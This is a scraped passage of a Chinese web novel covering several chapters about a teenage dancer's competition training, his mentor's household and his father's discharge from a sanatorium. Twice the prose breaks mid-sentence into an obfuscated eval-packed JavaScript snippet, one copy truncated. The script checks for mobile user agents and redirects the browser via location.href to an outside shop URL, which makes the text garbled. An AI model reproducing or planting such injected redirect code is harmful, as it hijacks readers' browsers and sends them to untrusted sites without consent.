“佳姐,我来吧。” 似乎是听到了极轻的一声叹气,然后耳中飘进异常熟悉的声音。晓希猛地抬起头,果然从镜中看到学长正朝自己走来。“学长…” 晓希喃喃唤了一声,萧泽走到跟前,不禁笑着打趣他,“好久不见了啊。” 之前萧泽本来是在学校这边陪晓希备赛,只是彦霖突然要出差彦承没人照顾,新舞剧又刚刚开始要排练,晓希知道学长忙,就硬是让他搬回家不用担心自己。这一晃有快一个礼拜没见,相比往常,倒也是“好久”了。 “自己松一松先。”萧泽见孩子有些发愣,轻声提醒了一句。晓希回过神,连忙埋下头一下下振颤,认真活动着。萧泽数着有几十下,看着差不多了,便挪开凳子,反手将晓希的脚跟握在手心里。另一只手拍了拍他肩膀,嘱咐了一句,“来,趴住。” 晓希放平身子伏在地上,点点头的功夫,腿已经被拉到了半空中。萧泽知道这孩子的程度,一担手感觉没吃什么力,就知道这一阵肯定没少练。他扭过头有些诧异地看向刘茹佳。刘茹佳正绞着手臂坐在一旁的练功凳上,跟萧泽对上眼神,只不置可否地挑了挑眉,“不用谢。” 萧泽微微一笑,不禁无奈地摇了摇头,手上加了点劲儿,压下手腕又往上提了提。地上的孩子明显的一抖,这一半边身子眼看就要往上掀。萧泽弯腰一手按了下去,言语间立刻就严肃了起来,“下去。” 晓希把脸埋在臂弯中,只觉得右腿被一点点抬到前所未有的高度。学长手劲儿大得惊人,又会使巧劲儿。稍一压手腕,自己脚尖连着腿就都被迫向外拧着。往往只一下,就觉得从胯根到膝窝的整条筋都瞬间被抽紧,尖锐的疼痛不禁让人幻觉它马上要挣裂开来。 撕心裂肺的疼痛中,晓希的眉眼都紧紧皱成一团。可背上的手掌好像带了灼人的温度,他只能拼命将身子扭向另一头,生怕不小心再掀胯。他许久不曾因为压软度哭过,学长却似乎总能把人逼到尽头。跟着刘老师时,再怎么疼的时候都扛下来了,学长一上手,不自觉地鼻子就要发酸。晓希深吸一口气,咽下了莫名涌上来的情绪,却在新一轮尖锐的疼痛中默默咬紧了牙根。 不过两分钟而已,安静的练功房就只听得见林晓希颤抖的呼吸声。孩子覆了一层汗的脖颈上暴着青筋,萧泽依旧不紧不慢地拉起来,耗十秒,然后松一会儿,再来。刘茹佳看在眼里,也不禁叹气,“你手也真够黑的。” 萧泽听见这话,只是抬头对她笑了笑,然后在晓希的一阵震颤中又压了压手腕。 刘茹佳看到萧泽脸上也涌上些血色。她平时帮林晓希撕横叉,都是两手抓他脚腕,掀胯就直接上脚踩。萧泽一只手够力气,就一直矮身弯腰用手压着。耗十秒就弯十秒,压两分钟就这么哈着腰两分钟。 这么大的男孩子了还舍不得用脚踩,林晓希也是摊上了个好老师啊……刘茹佳慨叹着站起身,缓步走出了练功房。 49. 回家 “起来吧。” 学长缓缓松开手,晓希撑起身子,整张脸连着脖子都涨红了。萧泽伸手捞了他一把,“简单放松放松,今儿就结束了。” 晓希点点头,麻利地站起身,却到底被激的眼前一黑,一个不妨弯腰撑在了膝盖上。萧泽知道他是腿疼,想由着他自己缓缓,却不想不出两秒,就见他咬着牙硬逼着自己到把杆旁踢腿了。这孩子…萧泽暗自叹了口气…让人欣赏又心疼的,就是这个韧劲儿。 他回身在练功凳上坐了,随手拿出刘茹佳录的晓希参赛作品的视频来看。这一看入了神,再抬起头时,是听见晓希唤他。 “刘老师……走了?” 半大的小伙子站在身前,汗顺着下巴往下淌,嘴唇却干裂得泛着白。“走了一会儿了。” 萧泽收了手机,拍拍身侧,叫他坐着歇会儿。“找她有事儿?” “没,”晓希若有所思地坐过来,一丝让人难以察觉的纠结在脸上一闪而过。“明天说也一样。” 萧泽没有追问,从脚边的袋子中拿出杯奶茶递给他。“少糖,将就喝吧。不然让佳姐知道,我也一样得挨骂。” 晓希有些迟疑地接过来,盯着奶茶看了片刻,不禁笑了。他知道学长是开玩笑,要真的论起来,他现在的运动量怎么也得来五杯全糖吧…… 少年放长了双腿叼着吸管喝奶茶,难得放松的时间,面上却映着难掩的疲惫。萧泽心下明白,“佳姐的个性我知道,跟着她这几天,不适应吧?” “还好的。” 晓希没预到学长有这一问,下意识地否认。过会儿,才又不禁微微垂下头,“多少——也有点吧…” 少年强撑出的轻松,尽数落在萧泽眼里,他却清楚也是没办法的事情,只能伸手揽过他肩膀,“争取学会自己调节,有事就跟我说。” 臂弯下的人点点头,歪头露出个笑容,“放心吧学长。” 十七岁的承诺,在萧泽心里特别有重量。萧泽拍拍他膝头,“晚上回家吃饭吧。我叫阿姨多准备几个菜,承儿也念叨好几天了。” 一想到承儿,脑海里就是电话另一头他各种操心抱怨念叨的表情,晓希忍不住牵起嘴角,爽快地点点头。“我换身衣服。” 每次练完功出来,一身衣服都湿了好几回。虽然下了训练就是回寝室,晓希总习惯性地多带套衣服,今天算是派上了用场:他可不想一身汗津津地坐到学长车上。 都是男生,晓希也没特意避开,直接走到墙边就换了。萧泽将散落了一地的东西归置起来,抬头正看见他两边大腿上都泛着大片紫砂,看样子已经不是这一两天的事了。他不禁蹙了蹙眉:又不是刚入校的小学生,还能出这样的伤,这几天晓希是怎么过来的,不想也知道了。又想到方才那样给他撕腿……萧泽避开目光只作不见,心下却不免有些感慨。 “走吧“,晓希收拾好了东西过来,萧泽捏着尚有些不明所以的少年的脖颈,”回家。” ———————————————————————————————— 回家路上遇上了堵车,晓希本就有些累,车子走走停停,晃的他有些睁不开眼睛。萧泽看他强打着精神,便把座椅调低了,“眯会儿吧。到家喊你。” “哎没事的”,晓希撑着椅背坐直了,吸了一大口奶茶精神精神。“本来想留到饭后的,得留点肚子给晚饭。好久没尝到小荣阿姨的手艺了。“ 小荣阿姨是萧泽家里的钟点工,每周过来一次打扫卫生,家里太忙的时候就帮着做做饭。”看样子是觉得我做的饭不好吃了?“ 萧泽故意逗他。晓希无奈地咂了咂舌,”是食堂的饭不好吃。“ 这一路开了有一个小时,总算到家门口停好车,两人都不自觉的长舒了口气。推开家门,浓郁的菜香立刻扑面而来。小荣阿姨听见动静也迎了出来,“回来了啊 !歇歇准备吃饭吧,马上好!” “辛苦了小荣姨。承儿呢?” 萧泽边换鞋边问。 “哦哦,上家教课呢。”荣姨快步朝厨房走去,只留了个匆忙的背影,声音远远地从厨房传过来,“好像是物理课吧,听他说。” 晓希跟在萧泽身后进门,看到此情此景,在学长家的点点滴滴都突然翻涌了出来,只让人觉得说不出的熟悉和温馨。仔细想想,在学长家真正住下的日子,满打满算也只几个月而已。可就是这短短几个月,竟好像把自己变得“娇气”了许多。从前那么多年都惯了住校,如今不过才回校几周,再回来时,竟有了“想家”的感觉。 “晓希?”萧泽唤了声在门口发呆的他。晓希匆忙压过这一丝感性的念头,也换鞋进了屋。 学长上楼换衣服,晓希便熟门熟路地走进厨房,帮小荣阿姨把碗筷饭菜都端上桌,又给每个人都盛了碗汤。不多会儿,就听到楼上有动静。他靠着饭厅的门边朝客厅瞧去,果然看见承儿跟家教老师一起下楼来。 “这周题做的不错,保持状态,考个重点也不成问题。” 物理老师貌似很满意,到了门口也不忘嘱咐。彦承乖巧地点了点头,送老师出门,直到看着老师走远了才关门。晓希从餐厅远远看着他,只见他捡起拖鞋收回鞋柜里,正要关上抽屉前却愣了两秒,然后忽然回身看了一圈,目光迅速锁定了过来,直冲着他就跑过了来。 “晓希!!” 彦承三步并作两步地飞奔过来,一跃而起直接就扑到了晓希身上。“我天……” 晓希一把接住他,被撞得趔趄了好几步。“下来,小荣阿姨还在呢。” “不怕,” 彦承放肆地紧了紧手臂,要把这些天的想念和牵挂都化在这一个拥抱里。“你今天怎么回来了。” 晓希费力揽住他,在他耳边轻声说,“学长说小荣阿姨做好吃的了。” 这么苏的语气配上这么欠揍的话……彦承不禁从他肩膀上仰起头来,恨恨地瞪了他一眼。 “干什么呢?” 身后突然传来萧泽哥的声音,彦承吓得一机灵连忙跳了下来,晓希也尴尬地回过身,脸一直红到了耳根。萧泽伸手在彦承屁股上落下一巴掌,“洗手,吃饭。” 饭前的小插曲终于在一道道让人大快朵颐的菜面前被翻过篇去,大概是因为晓希回来,饭桌上彦承的话也比平时多了不少。“萧泽哥,你们的舞剧排的怎么样了啊。” “还不错,下周就要初排你孔爵哥和陶乐钦的部分了,不知道到时候又要出什么乱子。”哦……“ 彦承闷闷也应了一声,听说陶乐钦有机会演舞剧,他心里有点替晓希吃味。不过人总归不能什么好处都占着,何况晓希现在忙着备赛,估计也没精力关心别人的事情。说起来……彦承脑子里突然闪过那天在机场场景:”我那天送哥去机场,好像看到陶乐钦了。“ ”机场?“ 这萧泽倒是没想到。”会不会是看错了,夏令营不是还没结束呢吗?“ ”是国际出发那儿啊……请假了?“ 彦承看向晓希。晓希耸了耸肩,明显也没什么头绪 ,”我这几天都没去上课,不太清楚。“ ”也可能是我看错了。“ 彦承又仔细回想了下,那天也只是一晃神的功夫,要较起真来,他也有点说不准了。 ”如果真的有事肯定会跟萧泽哥你还有凡姐他们请假的吧,就当我没说啦。“ ————————————— 晚餐后休息了一个小时,照例是晚功。晓希推开练功房的门,才走进去就感觉有什么东西从墙边砸过来。他下意识伸手接住,上下打量了一番,是根两米多长的竹竿。 “这两天练空翻呢?” 晓希把竹竿重新在墙边戳好,回头问彦承。彦承见了鬼似的地瞪大了眼睛,“你怎么一看就知道?萧泽哥第一次把这个拿出来的时候,我还以为是用来揍我的呢……” 啊……?晓希不禁哑然失笑。“想也知道不可能?你也不动动脑子。” 彦承无奈地扯扯嘴角,“我一时没反应过来嘛……” “难得回家一趟,萧泽哥也不给你放个假。” 两个人都到把干上热身,彦承盯着晓希棱角越发分明的下颌线,忍不住抱怨。 “学长其实根本都不管你信不信?” 晓希涮了圈腰上来,又在把干上压肩。 彦承转了转眼睛,凑到他跟前,“什么意思?” “意思就是,功都是自己的,今天少练,明天就得多练。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“今天就到这儿吧。” 最后又把两个作品完整的录了一遍,指针几乎已经指向十一点。萧泽把手机递给晓希,“明天自己再看看,我觉得问题不大。还是得放松心态,人太紧绷了,适得其反。” “嗯。”晓希点点头,他也觉得晚上的状态比白天好一点,不知道真的是因为在家里更放松,还是已经不能再差所以触底反弹了。 “学长…” 承儿结束的早,被学长赶去先洗澡。如今房间里只有他和学长,气氛又刚刚好,于是晚饭时的想法“适时“地蹦了出来。晓希搓磨着嘴唇,纠结着要不要开口。萧泽看他欲言又止,便也不催。晓希却扛不住这样的沉默,心一横,说出来了,“这个周五,我想请假。” “请假?” 萧泽微微一愣,确实没有想到。状态不好就想请假,这不像是晓希能做出来的事。周五……萧泽蹙着眉默念了一遍,脑海里突然闪过个事。 “周五…林老师出院?” 晓希点点头。 哎…萧泽忍不住敲了敲额头,这一段忙的,竟是把这个事儿忘了。 “你下午找佳姐,也是因为这个事儿?“ 不必晓希的回答,萧泽已心下了然,也明白他何至于两次三番的欲言又止了。这么个节骨眼上请假,哪怕是他自己,第一反应也是想歪了。佳姐那样不依不挠的性子,不说清楚更是不会轻易同意。可偏偏这个事情,是晓希最不愿意在人前提起的。 “我知道了。放心吧,这个事儿我跟佳姐说。“ 萧泽拍拍他肩膀,脸上没有表露出什么,心中却不免沉重。一提起这些事情,总不免想到这么多年晓希一个孩子平白承担了许多大人都扛不住的苦楚。而他越是这般坚强,就越让人心里止不住的发酸。“林老师那边还有什么需要帮忙的吗?要不要我陪你去。” “没有了,” 晓希笑着摇摇头,”他也没什么东西,只是一些画,之前已经送了些回去。我们到时候就叫个专车。“ ”好吧。“ 萧泽也不强求,跟着他往门外走,却突然想起来什么,转身停下。晓希一个不留神,险些撞上他。 “今天要不是我碰巧过去,你不是都决定自己和佳姐说了?反正’明天说也一样 ‘,嗯 ” 晓希脸上有些热起来,学长这后半句听上去格外耳熟。 “不觉得找我是搞特权,走后门了?” 晓希一时语塞,学长像是故意地有些不依不饶……他抬眼与学长对视了片刻,突然释然般地笑了,“学长不是外人,跟您求情,不算过分。” 50. 出院 第48章 从练功房回房间的路上,晓希不自觉在彦承门前停下。房门紧紧闭着,也不知道他是不是已经睡了。 “晓希!” 正想着,房门突然嵌开一条缝,彦承亮晶晶的眼睛从门后露出来。 “还没睡?” 晓希侧身挤了进来,觉得承儿“鬼鬼祟祟”的样子莫名有趣。彦承忍不住撇撇嘴,“在等你啊。” 也是…… 两个人共同努力的日子里,真正能在一起说说话的时间少之又少。哪怕今天回了家,说得上话的其实也就是饭桌上的那一会儿。 房间里的灯暗暗的,两人站在房门口互相看着,一时,竟都不知道该说些什么。彦承忍不住默默打量起晓希来:刚从练功房出来,身上附着薄薄的T恤,额头上的碎发也湿成一片。鬓间的一粒汗珠顺着脸颊、下颌、一点点流下来,直到锁骨。彦承盯着盯着,不知怎么脸倏地就红了,一双眼睛突然也不知道该往哪儿搁。 于是逃也似的推开洗手间的门,浴缸里满满都是水。彦承埋着头从柜子里拿了浴巾出来,“我帮你放了水,你要不要泡个澡?” 晓希的客卧只有淋浴,彦承想着他宿舍的环境也不好,难得回家应该好好放松放松。所以自己匆匆冲了个凉就连忙帮他准备了。 晓希一怔,也不知道这家伙怎么突然就害羞起来了。明明知道时间已经不早了,可看着他忙前忙后的样子,还是答应了。 温度恰到好处的热水一直漫到下巴,晓希仰头靠在浴缸沿上,只觉得全身都难得放松了下来,让人忍不住想就这样闭上眼睛睡过去。洗手间的门微微开着,彦承盘腿坐在门外,跟他有一搭没一搭地聊着天。 “你之前说,备赛有些不适应,现在好了吗?” “嗯,这几天习惯了,就好了。” “那就好。” 语气里听不出什么特别,彦承在他看不见的门外默默点了点头。他想晓希大概不知道他在外人眼里是多坚强的人。能让他不经意说出的不适应,就绝不是简简单单的不适应而已。更何况,哪怕他再怎么强打着精神,满脸疲惫掩都掩不住。开玩笑,要去拼的是国际的金奖,怎么可能容易。只是他知道晓希不愿意提,自然也不再问下去。 “话说,萧泽哥带你去拍过……艺术……照吗?” 彦承想了半天,支支吾吾地问出这一句。其实一说到“艺术照”,他满脑子都是影楼橱窗里那些穿着奇怪衣服摆着奇怪pose的尴尬照。可除了这个词,他也不知道该怎么形容。 “艺术照?” 晓希也被问的一愣。 “我也不清楚,就是那种……要去工作室给人家拍的那种。萧泽哥也没多说,就说过几天带我去,让我这几天好好抓抓基本功。” “哦哦哦”,晓希反应过来,“艺考申请可能用得着的。” 这样啊……一想到要站在那儿给人摆拍,彦承就有些不自在。不过要是对艺考有帮助的话……就忍忍吧。毕竟——他忍不住朝门里的方向望了望——他一定得考上舞院啊。 彦承本来以为自己有好多话要和晓希讲,也许拉着他聊上半宿也不够。可不知道为什么,这个话题结束,他们后来就什么也没再说。也许是因为觉着晓希太累想让他歇歇,也许因为别的。可隔着一层洗手间的门,安安静静地坐着,清楚地知道“他”就在并不遥远的另一侧的感觉,挺难得,也挺好。 第二天早上六点,晓希已经收拾停当准备出门。昨天睡的太晚,眼睛还有些酸涩,只是这一晚短短的五个小时,竟是十多天来,自己睡的最好的一天。晓希悄悄走进彦承房间,还没有睡醒的家伙正迷迷糊糊地翻了个身。晓希走到床边,看着他还皱着眉的睡颜,心不知怎么的就偷跳了下……他垂下眼,挣扎了许久,终于矮下身,在承儿额上轻轻碰了一下,“我走了……你加油。” 晓希轻手轻脚地走下楼梯,浓郁的奶香味迎面扑了过来。他心里”咯噔“了一下,快步走下楼梯,果然看见学长正坐在餐桌前,专注看着面前iPad,桌上摆着面包和煎蛋。萧泽听见他下来,倒是不奇怪,只是面上到底闪过一丝无奈,起身把炉子上热的牛奶倒了出来。“你啊,就昨晚一句没嘱咐到。过来把早饭吃了,等会儿跟我车走。” “学长……” 晓希有些踟蹰地坐到桌前。他排练开始的时间早,所以不愿意麻烦学长。本想着自己早点出门赶回学校,却没想到学长在这儿等着他呢。 萧泽坐回桌边,忍不住在他头上呼噜了一把。”亏我昨天晚上还以为你转性了。既然带你回家吃饭,怎么可能让你早起一个多小时自己折腾回去?“ ”我只做两趟地铁,剩下的一段跑回学校,就当晨练了。“ 晓希忍不住解释。 ”路上车多人多的,要晨练回你们学校练去。等会儿回去路上眯一会儿,这一晚上才睡了几个小时。“ 萧泽嘴上虽是数落,心里却是心疼。他接晓希回家是想让他放松放松心情,可却因为这个让孩子没能休息好,那不是适得其反了吗。 晓希没什么胃口,喝了杯牛奶就吃不下了。萧泽也没有勉强,只是让他带个三明治在包里。回学校的路上,如学长说的一样人多车多:首都这样的大都市,什么时候都是塞得满满当当。晓希这次没有强撑,歪头倚在安全带上,阖着眼睛养神。毕竟再犟的话,才真是浪费了学长为他早起的这一个多小时。 一路上走走停停,晓希晃着晃着好像真的睡着了,仿佛还做了个梦。待觉得车子渐渐慢了下来时,睁开眼睛,舞校的大门已经在眼前。晓希展了展肩背,拎起背包,”谢谢学长,我走了。“ 萧泽把路上买的咖啡递给他 ,”周五之前再想到有什么需要的,跟我说。“ 晓希知道学长说的是父亲出院的事儿,笑着点点头,关上车门。 ———————————————————— 大概是心中有所期待,这一周过得格外的慢。林晓希数着日子捱了一天又一天,总算盼到了周末。周五早上,天才见亮他就醒了。这一晚,模模糊糊地做着梦,梦里不断闪现着父亲满脸胡茬的靠在画室墙角喝酒,奶奶带着自己在门外,不住的叹气…… 晓希硬逼着自己又睡了会儿,终于还是忍不住起来。在水房就着凉水冲了把脸,碎片交织的过往渐渐在眼前散去。镜中的自己,已不是少年的模样,眉眼却与妈妈越来越像了。那么多年过去,他以为那些撕心裂肺的过往早已经渐行渐远,却总是时不时地被杀个猝不及防的回马枪。 哎……时间还早,林晓希收拾起心情,照例去出了会儿早功。回来洗漱了一遍,又去食堂慢悠悠地吃了个饭,最后到了疗养院时,还是比约定的时间早了不少。他直接去了住院部,一走到三楼,就看到了正在前台的陈茵茵。 “我说茵茵啊,这才几点啊。家属还没来呢,你就急着给办出院。不是舍不得你的林老师嘛?” 前台的护士递了几张单子出来给陈茵茵,嘴上不忘调侃她。 “瞎说什么,” 陈茵茵忍不住瞪了她们一眼,“早点弄好了,回头家属来签个字不就完了。” “茵茵姐。” 楼梯口出现个颀长的身影。陈茵茵扭过头,脸刷的就红了。“林……林晓希,你来了。” “嗯,早上没什么事儿,来早了。” “没事没事,我正帮你爸办住院呢,转头就好。你先去看看他吧。” 陈茵茵慌张地摇了摇手里的一叠单子,林晓希笑着跟他道谢,朝病房去了。 柜台里面射-过来一道道八卦的目光。陈茵茵回过头,几个小护士都笑着打量她,“你这看老的也脸红,看小的也脸红,你到底喜欢哪个啊。” “哎呀,你们懂什么。” 陈茵茵是真的有点恼了,胡拢起身前的一堆东西,扭头走了。 这一早上,她前思量后思量,早早来帮忙办出院,就是为了避过林晓希,不想跟他打照面。 那是林老师的儿子,年纪没比她小几岁,个子却已高出她一个头。挺拔、帅气,在学校里,不知道要迷倒多少同龄的小姑娘。林老师说过,儿子很像他妻子,尤其是那一双眼睛,几乎生的一模一样。陈茵茵也只肖看一眼就想象得出他妈妈该美成什么样子。而现在,她就是要在那么帅的儿子眼皮子底下惦记人家爸爸……林 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陈茵茵把夹着单子的板子递过去,却被林暮青半路截了下来。他翻着单子一张张签着字,朝晓希那边扬了扬下巴,“没到十八呢。” “哦对…我给忘了。” 陈茵茵不好意思地拍了下额头,一点不敢跟林晓希对视,眼神却不自觉地朝林暮青飘过去。那低头专注的样子……真好看啊。 清晨的太阳在窗外一点点拔高,陈茵茵的脸颊映着朝阳绯红成一片。晓希从旁看了一会儿,不禁低下头,了然地弯起嘴角。 一应的手续办好,疗养院的人都挨个过来道别。这个叫林暮青的病人或病友…和其他人都不一样。之前没有家属搀着架着,就那么施施然地来了;在疗养院的日子里,又高度配合又自律。自律…其实和疗养院里的病人都挨不上边,可他,却就是这么一个人。每天晒晒太阳,画会儿画,好像他从来都该是这个样子的,好像之前那一身酒气的人不是他。 “暮青啊,恭喜出院。” 来道别的人差不多都散去,主治高大夫急匆匆地走进来。“不好意思,一早上那边忙点事儿。” “没关系”,林暮青摆摆手,把晓希叫道跟前,“这是我儿子。” “高大夫好。” 林晓希礼貌地问好。高大夫一打眼,神色就亮了起来,“你好啊,常听你爸爸提起你。” 林晓希笑着点点头,却不免诧异地快速望了林暮青一眼,不知道这话是客套还是真的。手机突然在裤兜里震动起来,晓希看了眼号码,知道是叫的车到了,便跟高大夫和林暮青打了个招呼,“你们先聊,车快到了,我下去看看。” 林晓希快步走出病房,高大夫一直看着少年的身影消失在门后才不禁感叹道,“这孩子真好啊。长的好,精气神也和别人不一样。” “是啊,几年而已,就长成小伙子了。” 林暮青脸色有些暗了下来,高大夫看在眼里,知道他是心中觉得对儿子有愧,不禁拍拍他肩膀。“别想太多,过去的追不回来,以后的日子还长。” 林暮青点点头,把桌前戳着的一幅画拿了过来,“这一年多得谢谢您,这画送给您做个纪念。不算是礼物。” 吴大夫人文质彬彬,私下喜欢些文艺,他女儿也正在学油画。林暮青知道医院的规章,便特意画了幅画送给他。 “行啊,就当是你和我女儿切磋画画,我就不推脱了。你也别急着跟我告别,回头还得到我这儿汇报复查呢!” 林暮青笑了,倒确实是这么回事儿。 “再多的昨天都嘱咐过了,我就不多说了。近三个月,医院要定期回访。我叫小陈去?“ 小姑娘的心思,吴大夫一早就看出来。不过医院明文规定,他也不能做什么。现在林暮青出了院,有些事就好说了,他虽然不愿掺合,倒是扛不住陈茵茵一个劲儿的求,只能做个顺水人情。 林暮青沉默了片刻,“方便的话,还是叫吴姐来吧。” 高大夫面上有些疑惑,林暮青无奈地笑了笑,“晓希比她小不了几岁。” “哎……明白。” 吴大夫点点头,知道林暮青是好意,不愿意耽误小姑娘,便没有再说。正巧林晓希上来,他便帮着把东西一一搬了下去。 51. 林家 林家的厨房,好久没这么热闹了。 炉子上的高压锅滋滋地冒着热气,牛肉的香味溢满整个厨房。林晓希端着菜刀在操作台边哆哆哆地剁着,好久,才端着菜板到奶奶跟前,“您看这样行吗?” “行,太行了。“ 老太太正热火朝天地做着手擀面,看见孙子的”杰作“一点不含糊地表扬。”行了,我这儿没活儿了。你快出去吧。厨房油烟大,去帮你爸把屋收拾收拾。 “ 老太太是个能干的人,儿子在疗养院的这一年多,她两周都来打扫。不过她只管立整,年轻人有年轻人的品味,儿子这一趟又带了不少画回来,他愿意怎么摆,怎么摆。 林晓希从厨房出来,没有直接去爸爸的房间,反而是顺着墙边把每一间房间逛了一圈。客厅,画室,阳台,自己的卧室,他一一走过去,内心充斥着的不真实感,越发强烈。 他在自己的小床上坐下,一米二宽的小床,已经没有了床具。床头的墙壁上贴着皮杰猪和跳跳虎,映着蓝色的壁纸,童趣自然。他记得这都是妈妈亲自布置上去的。还有自带书架的小写字桌,坐在配套的椅子上,自己的一双腿已经有些无处安放。桌上和书架同样干干净净,除了一盏退了色的小护眼灯。 林晓希转头打量了一圈,这是爸妈给他精心布置的小天地,可他在这房间的记忆,少得可怜。幼年时的种种,到现在多半已经模糊;后来去了舞校,就只寒暑假才能回来;再后来妈妈走了…他便住在奶奶家,即便偶尔回来看看,他多半也只待一个晚上。直到有一天个子越窜越高,这张儿童床再容不下自己,他就抱着床铺去画室睡。画室的墙上地上放满了画。寂静的夜里,他一张张看过去,就能把脑子填的满满的,什么都不想,迷迷糊糊的睡过去。 “磊磊?” 老旧的折页缺油,门推开的大了,就吱呀作响。林暮青一进来,就看见儿子出这神,满眼伤感。 “诶爸。” 林晓希听惯了大家直呼名字,这个小名,反而是每次听都要愣一下。 林暮青站在原地把房间的每个角落都仔细看过去,那种感觉熟悉又陌生。熟悉的是,房间的每一处细节,都是晓希出生前的几个月他和妻子一点点设计,一点点装扮出来的;陌生的是,这么多年,他每天混沌在这栋房子中,这一扇门,却从没有推开过。 “晓希……” 他改了口。看到每次儿子下意识的反应,他知道孩子已经不喜欢那个乳名。“爸爸我……” 他太想给儿子道歉,又终究觉得一句话太单薄。 他不知道儿子有没有恨过他,如果有,他心中也许会更好过些。云棠走了,他难过的不能自已,儿子呢,只会更甚。一个孩子没了妈妈,那样的难过难道比不过他吗?可是他都强迫自己忽略了。 他清楚记得那一天,云棠被医护人员推走,他拉过扑在床上快哭断气的儿子把他紧紧抱在怀里。 磊磊不哭,妈妈是去很远地方了,他在那儿等咱们,很快就会见面的。 不是!那不是!儿子大喊着,我知道,妈妈是死了,我再也见不到妈妈了! 他与云棠从前从未对儿子避讳过“死”的问题。儿子的童话书上写到美丽的夜莺死去了,他会问什么是“死”?他们会认真的解释。一个人死去了,就是生命结束了,他再不能和你说话,陪你玩耍,你也再不能见到他。也许有另一个世界,也许没有,有的话,大家终究会在另一个世界遇见,只是要耐心等一等。 然而现在,听着孩子撕心裂肺的哭声,他后悔,后悔自己不曾用一个“远方”一个“天堂”盖过那个残酷的字眼。 接下来的那几天,他强打着精神操办好了云棠的身后事。夜晚,他终于回到空荡的房间,儿子靠在他的膝头,漆黑的眼睛湿润着,爸爸,我想妈妈。 那一刹,他听到自己心中的那根弦断了。眼前的眉眼,太像云棠了。那被自己强行压下的情绪瞬间喷涌开来。他不受控地一把推开儿子,遮住自己的双眼。不…他不能再看见云棠。你走开!走! 他大喊。 慕青你疯了!你吓着孩子!母亲搂着孙子大声责骂他,然而他听不见,他不在乎,他只是一遍遍重复着,带他走…带他走… 一个刚刚没了母亲的孩子,也同时没有了父亲。 其实这么多年来,他没有一天不是在愧疚和思念的交织下度过,然而他不敢面对儿子。起初不敢,是不愿见到那双和云棠一模一样的眼睛。他可以醉,可以梦,梦里鸟语花香,一切如初。晓希那张与他母亲太像的脸,只会像针刺般提醒他残酷的现实,他无力承担那铺天盖地的痛楚。 到后来,他是不敢面对云棠,不敢再面对没有光亮徒有愧疚的人生。每次儿子回家,只要一对上那双眸子就仿佛看到云棠怨念又审视的目光……安慰他的亲朋总是说,你该振作,不然云棠在天有灵,该多心疼你。可他知道,云棠如果真的在天有灵的话,一定会怨他、恨他,恨他这么多年,没尽过一丝父亲的责任,让儿子“没爹没娘”,吃了那么多苦长大。 这一年再疗养院的日子,这份愧疚更甚。所以他打听到儿子的老师,约他见面,一寸一寸地了解这些年错过的种种。儿子吃了多少苦,才跌跌撞撞的长大,他每听一个字,心里的刺痛就深一分。可他没有酒了,他也不能麻痹。再怎么心痛都是应当的,都不及他这个混蛋父亲该受的万分之一,也不及儿子小小年纪就不得不承受的煎熬。 上次在疗养院匆匆见面,是儿子的老师萧泽说这孩子最近情绪不好,请他开导开导。父子久未蒙面,尚都小心翼翼地不敢触碰,自己也只顾着开解他的心事。心中其实却是有太多想说…… “你恨过我吗?” 此时房间只有二人,林暮青望着儿子的眼睛,轻轻地问。晓希显然一怔。 “恨也是应该。” 林暮青笑笑挪开目光,其实并不期待回答。“对不起…这些年爸爸对——” “别,别说!” 晓希突然出声打断,声音中已带着不经意的颤抖,“求您别提…” 他喉头不自觉滑动着,错过目光,勉力扯出个笑容。却只觉得眼眶发热,气息说不出的翻涌。 他不需要爸爸道歉,也不愿,挑起往事。 儿子的眉眼都遮在碎发的阴影下,父子间的沉默只让晓希起伏的胸口更明显。林暮青看在眼里,心如刀绞。他坐在床边,想摸摸儿子的头,却终究不敢伸出那只手 “我不恨您。” 良久,晓希才又开口。“妈妈走了,您的伤心,与我们是一样的,只会更多。我不愿您伤心,所以您怎样做,我都理解。“ 林暮青一怔,心中震动。晓希又接着说,“要说委屈,多少是有的。我说没有,您也不信。” 他终于抬起头望向父亲,扯出个自嘲的笑。“我只希望您开心。您和奶奶开心、健康,我就开心,天上的妈妈,也开心。” 晓希笑着说完这一句,却没意识到眼泪已经铺了满脸。林暮青起身把孩子搂在怀中,不禁心痛的闭上眼,泪如雨下。自己身前的衣服迅速湿成一片,一点声音都没有,怀中的身形却愈演愈烈的颤抖起来。 “爸………” 儿子哭的那样安静,只是不经意间流露出的那个字,在哭腔下几乎听不出原本的声音。林暮青自己也止不住眼泪,只能将儿子越搂越紧。 林晓希从未这样止不住地哭过。一片黑暗中,只觉得胸腔中有说不完的情绪,像开了闸的洪水,混着眼泪奔涌而出。 他太难过了。 那些过往,一帧帧的在眼前闪过,将他的心揉捏的不成样子。 谁能想象,一个小小的孩子,刚没了母亲,就眼睁睁的被父亲一把推开。那时候的他,震惊,害怕。可是他爱妈妈,也爱爸爸,他不愿爸爸伤心,也不愿爱爸爸的妈妈伤心。被奶奶拉着离开熟悉的大房子,他一边哭着一边兀自回望门里的爸爸,爸爸不是讨厌他,是太伤心了。如果爸爸看到他就伤心,那他就躲远一点,爸爸就会开心一点。 小孩子的想法,总那么善良简单,可他忘了自己的难过。 长大、懂事,他读懂了父亲看到自己那一瞬时痛苦的眼神,只能他闪烁着目光躲开。可那是他的爸爸啊,他想回来看看他。于是只敢偷偷回来待一晚。他尽量降低着自己的存在感,却还是忍不住在爸爸酒醉的沙发旁放上一杯蜂蜜水,在清晨的厨房温上一顿早餐,或者是…把自己的奖状,悄悄贴在画室属于自己的那一小片墙上。也许爸爸会高兴、也许他会看见吧。 这样一年、五年、七年,时间终究得以让他把成长的痛苦越埋越深。不提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239549|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 